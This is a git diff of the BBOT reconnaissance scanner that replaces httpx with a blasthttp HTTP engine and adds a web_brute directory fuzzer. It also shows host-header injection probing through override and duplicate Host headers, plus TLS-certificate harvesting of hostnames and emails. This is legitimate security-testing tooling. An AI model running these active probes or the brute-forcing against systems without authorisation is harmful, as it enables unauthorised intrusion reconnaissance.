ignore_bbot_global_settings=True, cookies=added_cookies, ) - if self.domain in output: + if response and self.domain in response.text: domain_reflections.append(technique_description) # absolute URL / Host header transposition @@ -117,28 +115,26 @@ async def handle_event(self, event): self.debug(f"Performing {technique_description} case") subdomain_tag = self.rand_string(4, digits=False) self.subdomain_tags[subdomain_tag] = (event, technique_description) - output = await self.helpers.curl( + response = await self.helpers.request( url=url, - path_override=url, + request_target=url, cookies=added_cookies, ) - - if self.domain in output: + if response and self.domain in response.text: domain_reflections.append(technique_description) # duplicate host header tolerance technique_description = "duplicate host header tolerance" - output = await self.helpers.curl( + response = await self.helpers.request( url=url, - # Sending a blank HOST first as a hack to trick curl. This makes it no longer an "internal header", thereby allowing for duplicates - # The fact that it's accepting two host headers is rare enough to note on its own, and not too noisy. Having the 3rd header be an interactsh would result in false negatives for the slightly less interesting cases. + method="HEAD", + # Sending duplicate Host headers to test server tolerance. + # The fact that it's accepting two host headers is rare enough to note on its own. headers={"Host": ["", str(event.host), str(event.host)]}, cookies=added_cookies, - head_mode=True, ) - split_output = output.split("\n") - if " 4" in split_output: + if response and response.status_code >= 400 and response.status_code < 500: description = "Duplicate Host Header Tolerated" await self.emit_event( { @@ -174,12 +170,12 @@ async def handle_event(self, event): for oh in override_headers_list: override_headers[oh] = f"{subdomain_tag}.{self.domain}" - output = await self.helpers.curl( + response = await self.helpers.request( url=url, headers=override_headers, cookies=added_cookies, ) - if self.domain in output: + if response and self.domain in response.text: domain_reflections.append(technique_description) # emit all the domain reflections we found diff --git a/bbot/modules/http.py b/bbot/modules/http.py new file mode 100644 index 0000000000..46c3e6819b --- /dev/null +++ b/bbot/modules/http.py @@ -0,0 +1,315 @@ +import re +from http.cookies import SimpleCookie +from urllib.parse import urlparse + +import blasthttp + +from bbot.modules.base import BaseModule + + +class http(BaseModule): + watched_events = ["OPEN_TCP_PORT", "URL_UNVERIFIED", "URL"] + produced_events = ["URL", "HTTP_RESPONSE"] + flags = ["active", "safe", "web-basic", "social-enum", "subdomain-enum", "cloud-enum"] + meta = { + "description": "Visit webpages using blasthttp (native Rust HTTP engine)", + "created_date": "2026-03-08", + "author": "@liquidsec", + } + + options = { + "threads": 50, + "in_scope_only": True, + "max_response_size": 5242880, + "store_responses": False, + } + options_desc = { + "threads": "Number of concurrent requests", + "in_scope_only": "Only visit web resources that are in scope.", + "max_response_size": "Max response size in bytes", + "store_responses": "Save raw HTTP responses to scan folder", + } + + scope_distance_modifier = 2 + _shuffle_incoming_queue = False + _batch_size = 500 + _priority = 2 + # accept Javascript URLs + accept_url_special = True + + async def setup(self): + self.threads = self.config.get("threads", 50) + self.max_response_size = self.config.get("max_response_size", 5242880) + self.store_responses = self.config.get("store_responses", False) + self.client = self.helpers.blasthttp + return True + + async def filter_event(self, event): + if "_wildcard" in str(event.host).split("."): + return False, "event is wildcard" + + if "unresolved" in event.tags: + return False, "event is unresolved" + + if event.module == self: + return False, "event is from self" + + if "spider-max" in event.tags: + return False, "event exceeds spidering limits" + + # scope filtering + in_scope_only = self.config.get("in_scope_only", True) + if "blasthttp-safe" in event.tags: + return True + max_scope_distance = 0 if in_scope_only else (self.scan.scope_search_distance + 1) + if event.scope_distance > max_scope_distance: + return False, "event is not in scope" + return True + + def make_url_metadata(self, event): + """Returns (urls, url_hash) where urls is a list (usually 1 item, but 2 for OPEN_TCP_PORT).""" + has_spider_max = "spider-max" in event.tags + url_hash = None + if event.type.startswith("URL"): + # we NEED the port, otherwise it will try HTTPS even for HTTP URLs + url = event.with_port().geturl() + if event.parsed_url.path == "/": + url_hash = hash((event.host, event.port, has_spider_max)) + urls = [url] + else: + # OPEN_TCP_PORT — probe both http and https + host = event.host + port = event.port + urls = [f"http://{host}:{port}/", f"https://{host}:{port}/"] + url_hash = hash((host, port, has_spider_max)) + if url_hash is None: + url_hash = hash((urls[0], has_spider_max)) + return urls, url_hash + + def _incoming_dedup_hash(self, event): + urls, url_hash = self.make_url_metadata(event) + return url_hash + + def _build_headers(self): + """Build list of (name, value) header tuples from scan config.""" + headers = [("User-Agent", self.scan.useragent)] + for hk, hv in self.scan.custom_http_headers.items(): + headers.append((hk, hv)) + if self.scan.custom_http_cookies: + cookie = SimpleCookie() + for ck, cv in self.scan.custom_http_cookies.items(): + cookie[ck] = cv + cookie_value = cookie.output(header="", sep="; ").strip() + headers.append(("Cookie", cookie_value)) + return headers + + def _response_to_json(self, url_input, response): + """Convert a blasthttp Response to a dict for HTTP_RESPONSE events.""" + parsed = urlparse(response.url) + path = parsed.path or "/" + + # Build raw_header string (required by HTTP_RESPONSE validation) + status_line = f"HTTP/1.1 {response.status} \r\n" + header_lines = "\r\n".join(f"{k}: {v}" for k, v in response.headers) + raw_header = f"{status_line}{header_lines}\r\n\r\n" + + # Build header dict (lowercase keys, comma-joined for dupes) + header_dict = {} + for k, v in response.headers: + key = k.lower().replace("-", "_") + if key in header_dict: + header_dict[key] += f", {v}" + else: + header_dict[key] = v + + content_type = header_dict.get("content_type", "") + content_length = int(header_dict.get("content_length", len(response.body_bytes))) + + # Location header for redirects (excavate uses event.redirect_location) + location = header_dict.get("location", "") + + # Extract title from HTML + title = "" + body = response.body + title_match = re.search(r"]*>(.*?)", body, re.IGNORECASE | re.DOTALL) + if title_match: + title = title_match.group(1).strip() + + j = { + "url": response.url, + "input": url_input, + "status_code": response.status, + "method": "GET", + "path": path, + "host": parsed.hostname or "", + "raw_header": raw_header, + "header": header_dict, + "content_type": content_type, + "content_length": content_length, + "title": title, + "body": body, + "location": location, + "hash": { + "body_md5": response.hash.body_md5, + "body_mmh3": response.hash.body_mmh3, + "body_sha256": response.hash.body_sha256, + "header_md5": response.hash.header_md5, + "header_mmh3": response.hash.header_mmh3, + "header_sha256": response.hash.header_sha256, + }, + } + + # Include TLS certificate info when available (HTTPS responses) + ci = response.cert_info + if ci is not None: + j["cert_info"] = { + "common_name": ci.common_name, + "sans": ci.sans, + "emails": ci.emails, + "issuer": ci.issuer, + "not_before": ci.not_before, + "not_after": ci.not_after, + "fingerprint_sha256": ci.fingerprint_sha256, + } + + return j + + async def handle_batch(self, *events): + stdin = {} + # Track dual-scheme probes from OPEN_TCP_PORT: {(host, port): {"http": url, "https": url}} + port_probes = {} + + for event in events: + urls, url_hash = self.make_url_metadata(event) + for url in urls: + stdin[url] = event + if event.type == "OPEN_TCP_PORT": + key = (event.host, event.port) + if key not in port_probes: + port_probes[key] = {} + scheme = "https" if url.startswith("https://") else "http" + port_probes[key][scheme] = url + + if not stdin: + return + + headers = self._build_headers() + proxy = self.scan.http_proxy or None + timeout = self.scan.blasthttp_timeout + retries = self.scan.blasthttp_retries + + # Build batch configs + configs = [] + for url in stdin: + config = blasthttp.BatchConfig( + url, + headers=headers, + timeout=int(timeout), + retries=int(retries), + verify_certs=False, + follow_redirects=False, + proxy=proxy, + ) + configs.append(config) + + # Run batch in executor to avoid blocking the event loop + results = await self.helpers.run_in_executor(self.client.request_batch, configs, self.threads) + + # Index results by URL for the dedup check + results_by_url = {r.url: r for r in results} + + # For OPEN_TCP_PORT probes, suppress redundant https when http already succeeded. + # When probing an unknown port, we try both http:// and https://. If http works, + # the port definitely speaks HTTP — the https result may be a proxy artifact + # (intercepting proxies like Burp terminate TLS themselves, making any https:// + # URL "succeed" regardless of whether the target actually speaks TLS). + # If http fails but https succeeds, the port genuinely speaks TLS. + # Explicit URLs (URL_UNVERIFIED/URL) are never suppressed — this only applies + # to speculative OPEN_TCP_PORT probes. + suppressed_urls = set() + for key, schemes in port_probes.items(): + http_url = schemes.get("http") + https_url = schemes.get("https") + if not (http_url and https_url): + continue + http_result = results_by_url.get(http_url) + if http_result and http_result.success and http_result.response.status != 0: + if https_url in results_by_url: + self.debug(f"Suppressing https probe {https_url} (http already succeeded: {http_url})") + suppressed_urls.add(https_url) + + for result in results: + if not result.success: + self.debug(f"blasthttp error for {result.url}: {result.error}") + continue + + response = result.response + status_code = response.status + if status_code == 0: + self.debug(f'No HTTP status code for "{result.url}"') + continue + + if result.url in suppressed_urls: + continue + + # Map back to parent event using the input URL + parent_event = stdin.get(result.url, None) + + if parent_event is None: + self.warning(f"Unable to correlate parent event for: {result.url}") + continue + + url = response.url + + # Build JSON dict for HTTP_RESPONSE event + j = self._response_to_json(result.url, response) + + # discard 404s from unverified URLs + path = j.get("path", "/") + if parent_event.type == "URL_UNVERIFIED" and status_code in (404,) and path != "/": + self.debug(f'Discarding 404 from "{url}"') + continue + + # main URL + tags = [f"status-{status_code}"] + response_ip = j.get("host", "") + if response_ip: + tags.append(f"ip-{response_ip}") + # grab title + title = self.helpers.tagify(j.get("title", ""), maxlen=30) + if title: + tags.append(f"http-title-{title}") + + url_context = "{module} visited {event.parent.data} and got status code {event.http_status}" + if parent_event.type == "OPEN_TCP_PORT": + url_context += " at {event.data}" + + url_event = self.make_event( + url, + "URL", + parent_event, + tags=tags, + context=url_context, + ) + if url_event: + if url_event != parent_event: + await self.emit_event(url_event) + # HTTP response + content_type = j.get("header", {}).get("content_type", "unspecified").split(";")[0] + content_length = j.get("content_length", 0) + content_length = self.helpers.bytes_to_human(content_length) + await self.emit_event( + j, + "HTTP_RESPONSE", + url_event, + tags=url_event.tags, + context=f"HTTP_RESPONSE was {content_length} with {content_type} content type", + ) + + # Store responses if configured + if self.store_responses: + response_dir = self.scan.home / "http_responses" + self.helpers.mkdir(response_dir) + filename = f"{j['host']}.{urlparse(url).port or 443}{path.replace('/', '[slash]')}.txt" + response_file = response_dir / filename + response_file.write_text(j.get("raw_header", "") + j.get("body", "")) diff --git a/bbot/modules/httpx.py b/bbot/modules/httpx.py deleted file mode 100644 index 628ef4bb66..0000000000 --- a/bbot/modules/httpx.py +++ /dev/null @@ -1,228 +0,0 @@ -import re -import orjson -import tempfile -import subprocess -from pathlib import Path -from http.cookies import SimpleCookie - -from bbot.modules.base import BaseModule - - -class httpx(BaseModule): - httpx_tempdir_regex = re.compile(r"^httpx\d+$") - watched_events = ["OPEN_TCP_PORT", "URL_UNVERIFIED", "URL"] - produced_events = ["URL", "HTTP_RESPONSE"] - flags = ["safe", "active", "web", "social-enum", "subdomain-enum", "cloud-enum"] - meta = { - "description": "Visit webpages. Many other modules rely on httpx", - "created_date": "2022-07-08", - "author": "@TheTechromancer", - } - - options = { - "threads": 50, - "in_scope_only": True, - "version": "1.2.5", - "max_response_size": 5242880, - "store_responses": False, - "probe_all_ips": False, - } - options_desc = { - "threads": "Number of httpx threads to use", - "in_scope_only": "Only visit web reparents that are in scope.", - "version": "httpx version", - "max_response_size": "Max response size in bytes", - "store_responses": "Save raw HTTP responses to scan folder", - "probe_all_ips": "Probe all the ips associated with same host", - } - deps_ansible = [ - { - "name": "Download httpx", - "unarchive": { - "src": "https://github.com/projectdiscovery/httpx/releases/download/v#{BBOT_MODULES_HTTPX_VERSION}/httpx_#{BBOT_MODULES_HTTPX_VERSION}_#{BBOT_OS}_#{BBOT_CPU_ARCH_GOLANG}.zip", - "include": "httpx", - "dest": "#{BBOT_TOOLS}", - "remote_src": True, - }, - } - ] - - scope_distance_modifier = 2 - _shuffle_incoming_queue = False - _batch_size = 500 - _priority = 2 - # accept Javascript URLs - accept_url_special = True - - async def setup(self): - self.threads = self.config.get("threads", 50) - self.max_response_size = self.config.get("max_response_size", 5242880) - self.store_responses = self.config.get("store_responses", False) - self.probe_all_ips = self.config.get("probe_all_ips", False) - return True - - async def filter_event(self, event): - if "_wildcard" in str(event.host).split("."): - return False, "event is wildcard" - - if "unresolved" in event.tags: - return False, "event is unresolved" - - if event.module == self: - return False, "event is from self" - - if "spider-max" in event.tags: - return False, "event exceeds spidering limits" - - # scope filtering - in_scope_only = self.config.get("in_scope_only", True) - if "httpx-safe" in event.tags: - return True - max_scope_distance = 0 if in_scope_only else (self.scan.scope_search_distance + 1) - if event.scope_distance > max_scope_distance: - return False, "event is not in scope" - return True - - def make_url_metadata(self, event): - has_spider_max = "spider-max" in event.tags - url_hash = None - if event.type.startswith("URL"): - # we NEED the port, otherwise httpx will try HTTPS even for HTTP URLs - url = event.with_port().geturl() - if event.parsed_url.path == "/": - url_hash = hash((event.host, event.port, has_spider_max)) - else: - url = str(event.data) - url_hash = hash((event.host, event.port, has_spider_max)) - if url_hash is None: - url_hash = hash((url, has_spider_max)) - return url, url_hash - - def _incoming_dedup_hash(self, event): - url, url_hash = self.make_url_metadata(event) - return url_hash - - async def handle_batch(self, *events): - stdin = {} - - for event in events: - url, url_hash = self.make_url_metadata(event) - stdin[url] = event - - if not stdin: - return - - command = [ - "httpx", - "-silent", - "-json", - "-include-response", - "-threads", - self.threads, - "-timeout", - self.scan.httpx_timeout, - "-retries", - self.scan.httpx_retries, - "-header", - f"User-Agent: {self.scan.useragent}", - "-response-size-to-read", - f"{self.max_response_size}", - ] - - if self.store_responses: - response_dir = self.scan.home / "httpx" - self.helpers.mkdir(response_dir) - command += ["-srd", str(response_dir)] - - dns_resolvers = ",".join(self.helpers.system_resolvers) - if dns_resolvers: - command += ["-r", dns_resolvers] - - if self.probe_all_ips: - command += ["-probe-all-ips"] - - # Add custom HTTP headers - for hk, hv in self.scan.custom_http_headers.items(): - command += ["-header", f"{hk}: {hv}"] - - # Add custom HTTP cookies as a single header - if self.scan.custom_http_cookies: - cookie = SimpleCookie() - for ck, cv in self.scan.custom_http_cookies.items(): - cookie[ck] = cv - - # Build the cookie header - cookie_header = f"Cookie: {cookie.output(header='', sep='; ').strip()}" - command += ["-header", cookie_header] - - proxy = self.scan.http_proxy - if proxy: - command += ["-http-proxy", proxy] - async for line in self.run_process_live(command, text=False, input=list(stdin), stderr=subprocess.DEVNULL): - try: - j = await self.helpers.run_in_executor(orjson.loads, line) - except orjson.JSONDecodeError: - self.warning(f"httpx failed to decode line: {line}") - continue - - url = j.get("url", "") - status_code = int(j.get("status_code", 0)) - if status_code == 0: - self.debug(f'No HTTP status code for "{url}"') - continue - - parent_event = stdin.get(j.get("input", ""), None) - - if parent_event is None: - self.warning(f"Unable to correlate parent event from: {line}") - continue - - # discard 404s from unverified URLs - path = j.get("path", "/") - if parent_event.type == "URL_UNVERIFIED" and status_code in (404,) and path != "/": - self.debug(f'Discarding 404 from "{url}"') - continue - - # main URL - tags = [f"status-{status_code}"] - - url_context = "{module} visited {event.parent.pretty_string} and got status code {event.http_status}" - if parent_event.type == "OPEN_TCP_PORT": - url_context += " at {event.pretty_string}" - - url_event = self.make_event( - url, - "URL", - parent_event, - tags=tags, - context=url_context, - ) - if url_event: - httpx_ip = j.get("host", "") - if httpx_ip: - url_event._resolved_hosts.add(httpx_ip) - url_event.data["status_code"] = status_code - title = j.get("title", "") - if title: - url_event.http_title = title - if url_event != parent_event: - await self.emit_event(url_event) - # HTTP response - content_type = j.get("header", {}).get("content_type", "unspecified").split(";")[0] - content_length = j.get("content_length", 0) - content_length = self.helpers.bytes_to_human(content_length) - await self.emit_event( - j, - "HTTP_RESPONSE", - url_event, - tags=url_event.tags, - context=f"HTTP_RESPONSE was {content_length} with {content_type} content type", - ) - - for tempdir in Path(tempfile.gettempdir()).iterdir(): - if tempdir.is_dir() and self.httpx_tempdir_regex.match(tempdir.name): - self.helpers.rm_rf(tempdir) - - async def cleanup(self): - resume_file = self.helpers.current_dir / "resume.cfg" - resume_file.unlink(missing_ok=True) diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index 0e31e9158b..fb680ab230 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -157,7 +157,7 @@ async def handle_event(self, event): # speculate URL_UNVERIFIED from URL or any event with "url" attribute event_is_url = event.type == "URL" event_has_url = not event.type.startswith("URL") and isinstance(event.data, dict) and "url" in event.data - event_tags = ["httpx-safe"] if event.type in ("CODE_REPOSITORY", "SOCIAL") else [] + event_tags = ["blasthttp-safe"] if event.type in ("CODE_REPOSITORY", "SOCIAL") else [] if event_is_url or event_has_url: url = event.url # only emit the url if it's not already in the event's history diff --git a/bbot/modules/newsletters.py b/bbot/modules/newsletters.py index e6d8626fd4..409c295689 100644 --- a/bbot/modules/newsletters.py +++ b/bbot/modules/newsletters.py @@ -39,7 +39,7 @@ async def handle_event(self, event): _event = event # Call find_type Function if Webpage return Status Code 200 && "body" is found in event.data - # Ex: 'bbot -m httpx newsletters -t https://apf-api.eng.vn.cloud.tesla.com' returns + # Ex: 'bbot -m blasthttp newsletters -t https://apf-api.eng.vn.cloud.tesla.com' returns # Status Code 200 but does NOT have event.data["body"] if _event.data["status_code"] == 200: if "body" in _event.data: diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 6602d03e51..27e272350b 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -107,7 +107,11 @@ async def setup(self): self.info( "Running nuclei in TECHNOLOGY mode. Scans will only be performed with the --automatic-scan flag set. This limits the templates used to those that match wappalyzer signatures" ) - self.tags = "" + # Don't clear user-specified tags — they act as additional filters + # alongside -as, narrowing the auto-selected template set. + # Only clear tags if the user didn't explicitly set them. + if not self.tags: + self.tags = "" if self.mode == "severe": self.info( diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index 064c00af7c..317eebc3a1 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -1,7 +1,7 @@ -from .http import HTTP +from .webhook import webhook -class Elastic(HTTP): +class Elastic(webhook): """ docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0 """ diff --git a/bbot/modules/output/rabbitmq.py b/bbot/modules/output/rabbitmq.py index ba4205940d..3d8b470a37 100644 --- a/bbot/modules/output/rabbitmq.py +++ b/bbot/modules/output/rabbitmq.py @@ -25,14 +25,22 @@ async def setup(self): self.rabbitmq_url = self.config.get("url", "amqp://guest:guest@localhost/") self.queue_name = self.config.get("queue", "bbot_events") - # Connect to RabbitMQ - self.connection = await aio_pika.connect_robust(self.rabbitmq_url) - self.channel = await self.connection.channel() - - # Declare the queue - self.queue = await self.channel.declare_queue(self.queue_name, durable=True) - self.verbose("RabbitMQ connection and queue setup successfully") - return True + # Connect to RabbitMQ (retry in case the server is still starting) + max_retries = 30 + for attempt in range(max_retries): + try: + self.connection = await aio_pika.connect_robust(self.rabbitmq_url) + self.channel = await self.connection.channel() + self.queue = await self.channel.declare_queue(self.queue_name, durable=True) + self.verbose("RabbitMQ connection and queue setup successfully") + return True + except Exception as e: + if attempt < max_retries - 1: + self.verbose(f"RabbitMQ not ready (attempt {attempt + 1}/{max_retries}): {e}") + await self.helpers.sleep(1) + else: + self.error(f"Failed to connect to RabbitMQ after {max_retries} attempts: {e}") + return False async def handle_event(self, event): event_json = event.json() @@ -52,5 +60,6 @@ async def handle_event(self, event): async def cleanup(self): # Close the connection - await self.connection.close() - self.verbose("RabbitMQ connection closed successfully") + if hasattr(self, "connection"): + await self.connection.close() + self.verbose("RabbitMQ connection closed successfully") diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index 4cd2412046..dd70963390 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -4,7 +4,7 @@ class web_report(BaseOutputModule): - watched_events = ["URL", "TECHNOLOGY", "FINDING", "VHOST"] + watched_events = ["URL", "TECHNOLOGY", "FINDING", "VIRTUAL_HOST"] meta = { "description": "Create a markdown report with web assets", "created_date": "2023-02-08", diff --git a/bbot/modules/output/http.py b/bbot/modules/output/webhook.py similarity index 98% rename from bbot/modules/output/http.py rename to bbot/modules/output/webhook.py index 28fa917fc7..0070d91cf4 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/webhook.py @@ -4,10 +4,10 @@ from bbot.modules.output.base import BaseOutputModule -class HTTP(BaseOutputModule): +class webhook(BaseOutputModule): watched_events = ["*"] meta = { - "description": "Send every event to a custom URL via a web request", + "description": "Send every event to a custom URL via a webhook", "created_date": "2022-04-13", "author": "@TheTechromancer", } diff --git a/bbot/modules/portfilter.py b/bbot/modules/portfilter.py index 21b0313194..0bd41fab3f 100644 --- a/bbot/modules/portfilter.py +++ b/bbot/modules/portfilter.py @@ -19,7 +19,7 @@ class portfilter(BaseInterceptModule): } _priority = 4 - # we consume URLs but we don't want to automatically enable httpx + # we consume URLs but we don't want to automatically enable blasthttp _disable_auto_module_deps = True async def setup(self): diff --git a/bbot/modules/sslcert.py b/bbot/modules/sslcert.py index ff6f6cf402..3f1f3c0e19 100644 --- a/bbot/modules/sslcert.py +++ b/bbot/modules/sslcert.py @@ -1,189 +1,94 @@ -import asyncio -from OpenSSL import crypto -from contextlib import suppress +from urllib.parse import urlparse from bbot.errors import ValidationError from bbot.modules.base import BaseModule -from bbot.core.helpers.async_helpers import NamedLock -from bbot.core.helpers.web.ssl_context import ssl_context_noverify class sslcert(BaseModule): - watched_events = ["OPEN_TCP_PORT"] + watched_events = ["HTTP_RESPONSE"] produced_events = ["DNS_NAME", "EMAIL_ADDRESS"] flags = ["safe", "affiliates", "subdomain-enum", "email-enum", "active", "web"] meta = { - "description": "Visit open ports and retrieve SSL certificates", + "description": "Extract hostnames and emails from TLS certificates in HTTP responses", "created_date": "2022-03-30", "author": "@TheTechromancer", } - options = {"timeout": 5.0, "skip_non_ssl": True} - options_desc = {"timeout": "Socket connect timeout in seconds", "skip_non_ssl": "Don't try common non-SSL ports"} - deps_apt = ["openssl"] - deps_pip = ["pyOpenSSL~=25.3.0"] - _module_threads = 25 scope_distance_modifier = 1 _priority = 2 async def setup(self): - self.timeout = self.config.get("timeout", 5.0) - self.skip_non_ssl = self.config.get("skip_non_ssl", True) - self.non_ssl_ports = (22, 53, 80) - # sometimes we run into a server with A LOT of SANs # these are usually stupid and useless, so we abort based on a different threshold # depending on whether the parent event is in scope self.in_scope_abort_threshold = 50 self.out_of_scope_abort_threshold = 10 - self.hosts_visited = set() - self.ip_lock = NamedLock() - return True - - async def filter_event(self, event): - if self.skip_non_ssl and event.port in self.non_ssl_ports: - return False, f"Port {event.port} doesn't typically use SSL" return True async def handle_event(self, event): - _host = event.host - if event.port: - port = event.port - else: - port = 443 + # Only process HTTPS responses with certificate info + cert_info = event.data.get("cert_info") + if not cert_info: + return + + # Deduplicate by (host, port) to avoid processing the same cert twice + url = event.data.get("url", "") + parsed = urlparse(url) + host = parsed.hostname or "" + port = parsed.port or 443 + host_hash = hash((host, port)) + if host_hash in self.hosts_visited: + return + self.hosts_visited.add(host_hash) - # turn hostnames into IP address(es) - if self.helpers.is_ip(_host): - hosts = [_host] - else: - hosts = list(await self.helpers.resolve(_host)) + # Extract DNS names and emails from cert_info + common_name = (cert_info.get("common_name") or "").lstrip("*.").lower() + sans = [s.lstrip("*.").lower() for s in cert_info.get("sans", [])] + emails = set(cert_info.get("emails", [])) + + # Build DNS names list: CN first, then SANs (excluding CN) + dns_names = [] + if common_name: + dns_names.append(common_name) + for san in sans: + if san and san not in dns_names: + dns_names.append(san) + # Apply threshold if event.scope_distance == 0: abort_threshold = self.in_scope_abort_threshold else: abort_threshold = self.out_of_scope_abort_threshold - coroutines = [self.visit_host(host, port) for host in hosts] - async for coroutine in self.helpers.as_completed(coroutines): - result = await coroutine - if not isinstance(result, tuple) or not len(result) == 3: - continue - dns_names, emails, (host, port) = result - if len(dns_names) > abort_threshold: - netloc = self.helpers.make_netloc(host, port) - self.verbose( - f"Skipping Subject Alternate Names (SANs) on {netloc} because number of hostnames ({len(dns_names):,}) exceeds threshold ({abort_threshold})" - ) - dns_names = dns_names[:1] + [n for n in dns_names[1:] if self.scan.in_scope(n)] - for event_type, results in (("DNS_NAME", set(dns_names)), ("EMAIL_ADDRESS", emails)): - for event_data in results: - if event_data is not None and event_data != event.data: - self.debug(f"Discovered new {event_type} via SSL certificate parsing: [{event_data}]") - try: - ssl_event = self.make_event(event_data, event_type, parent=event, raise_error=True) - parent_event = ssl_event.get_parent() - if parent_event.scope_distance == 0: - tags = ["affiliate"] - else: - tags = None - if ssl_event: - await self.emit_event( - ssl_event, - tags=tags, - context=f"{{module}} parsed SSL certificate at {event.pretty_string} and found {{event.type}}: {{event.pretty_string}}", - ) - except ValidationError as e: - self.hugeinfo(f'Malformed {event_type} "{event_data}" at {event.pretty_string}') - self.debug(f"Invalid data at {host}:{port}: {e}") + if len(dns_names) > abort_threshold: + self.verbose( + f"Skipping SANs on {url} because count ({len(dns_names):,}) exceeds threshold ({abort_threshold})" + ) + dns_names = dns_names[:1] + [n for n in dns_names[1:] if self.scan.in_scope(n)] + + # Emit events + for event_type, results in (("DNS_NAME", set(dns_names)), ("EMAIL_ADDRESS", emails)): + for event_data in results: + if event_data is not None and event_data != str(event.host): + self.debug(f"Discovered new {event_type} via TLS certificate: [{event_data}]") + try: + ssl_event = self.make_event(event_data, event_type, parent=event, raise_error=True) + parent_event = ssl_event.get_parent() + if parent_event.scope_distance == 0: + tags = ["affiliate"] + else: + tags = None + if ssl_event: + await self.emit_event( + ssl_event, + tags=tags, + context=f"{{module}} parsed TLS certificate at {url} and found {{event.type}}: {{event.data}}", + ) + except ValidationError as e: + self.hugeinfo(f'Malformed {event_type} "{event_data}" at {url}') + self.debug(f"Invalid data at {url}: {e}") def on_success_callback(self, event): parent_scope_distance = event.get_parent().scope_distance if parent_scope_distance == 0 and event.scope_distance > 0: event.add_tag("affiliate") - - async def visit_host(self, host, port): - host = self.helpers.make_ip_type(host) - netloc = self.helpers.make_netloc(host, port) - host_hash = hash((host, port)) - dns_names = [] - emails = set() - async with self.ip_lock.lock(host_hash): - if host_hash in self.hosts_visited: - self.debug(f"Already processed {host} on port {port}, skipping") - return [], [], (host, port) - else: - self.hosts_visited.add(host_hash) - - host = str(host) - - # Connect to the host - try: - transport, _ = await asyncio.wait_for( - self.helpers.loop.create_connection( - lambda: asyncio.Protocol(), host, port, ssl=ssl_context_noverify - ), - timeout=self.timeout, - ) - except asyncio.TimeoutError: - self.debug(f"Timed out after {self.timeout} seconds while connecting to {netloc}") - return [], [], (host, port) - except Exception as e: - log_fn = self.warning - if isinstance(e, OSError): - log_fn = self.debug - log_fn(f"Error connecting to {netloc}: {e}") - return [], [], (host, port) - finally: - with suppress(Exception): - transport.close() - - # Get the SSL object - try: - ssl_object = transport.get_extra_info("ssl_object") - except Exception as e: - self.verbose(f"Error getting ssl_object: {e}", trace=True) - return [], [], (host, port) - - # Get the certificate - try: - der = ssl_object.getpeercert(binary_form=True) - except Exception as e: - self.verbose(f"Error getting peer cert: {e}", trace=True) - return [], [], (host, port) - try: - cert = crypto.load_certificate(crypto.FILETYPE_ASN1, der) - except Exception as e: - self.verbose(f"Error loading certificate: {e}", trace=True) - return [], [], (host, port) - issuer = cert.get_issuer() - if issuer.emailAddress and self.helpers.regexes.email_regex.match(issuer.emailAddress): - emails.add(issuer.emailAddress) - subject = cert.get_subject() - if subject.emailAddress and self.helpers.regexes.email_regex.match(subject.emailAddress): - emails.add(subject.emailAddress) - common_name = str(subject.commonName).lstrip("*.").lower() - dns_names = set(self.get_cert_sans(cert)) - with suppress(KeyError): - dns_names.remove(common_name) - dns_names = [common_name] + list(dns_names) - return dns_names, list(emails), (host, port) - - @staticmethod - def get_cert_sans(cert): - sans = [] - raw_sans = None - ext_count = cert.get_extension_count() - for i in range(0, ext_count): - ext = cert.get_extension(i) - short_name = str(ext.get_short_name()) - if "subjectAltName" in short_name: - raw_sans = str(ext) - if raw_sans is not None: - for raw_san in raw_sans.split(","): - hostname = raw_san.split(":", 1)[-1].strip().lower() - # IPv6 addresses - if hostname.startswith("[") and hostname.endswith("]"): - hostname = hostname.strip("[]") - hostname = hostname.lstrip("*.") - sans.append(hostname) - return sans diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 493117fc7d..5a82c439ab 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -417,7 +417,7 @@ def create_url(self, baseurl, detector): async def test_detector(self, baseurl, detector): result = None url = self.create_url(baseurl, detector) - result = await self.helpers.request(url, timeout=self.scan.httpx_timeout) + result = await self.helpers.request(url, timeout=self.scan.http_timeout) return result, detector async def filter_event(self, event): diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py new file mode 100644 index 0000000000..a7266c8b11 --- /dev/null +++ b/bbot/modules/web_brute.py @@ -0,0 +1,400 @@ +import random +import string + +import blasthttp + +from bbot.modules.base import BaseModule + + +class web_brute(BaseModule): + watched_events = ["URL"] + produced_events = ["URL_UNVERIFIED"] + flags = ["aggressive", "active", "deadly"] + meta = { + "description": "A fast web fuzzer powered by blasthttp", + "created_date": "2022-04-10", + "author": "@liquidsec", + } + + options = { + "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt", + "lines": 5000, + "max_depth": 0, + "extensions": "", + "ignore_case": False, + "rate": 0, + } + + options_desc = { + "wordlist": "Specify wordlist to use when finding directories", + "lines": "take only the first N lines from the wordlist when finding directories", + "max_depth": "the maximum directory depth to attempt to solve", + "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)", + "ignore_case": "Only put lowercase words into the wordlist", + "rate": "Rate of requests per second (default: 0)", + } + + banned_characters = {" "} + blacklist = ["images", "css", "image"] + + in_scope_only = True + + async def setup_deps(self): + self.wordlist = await self.helpers.wordlist(self.config.get("wordlist")) + return True + + async def setup(self): + self.canary = "".join(random.choice(string.ascii_lowercase) for i in range(10)) + self.blast_client = self.helpers.blasthttp + wordlist_url = self.config.get("wordlist", "") + self.debug(f"Using wordlist [{wordlist_url}]") + self.wordlist_lines = self.generate_wordlist(self.wordlist) + self.words, words_len = self.generate_templist() + self.rate = self.config.get("rate", 0) + self.verbose(f"Generated dynamic 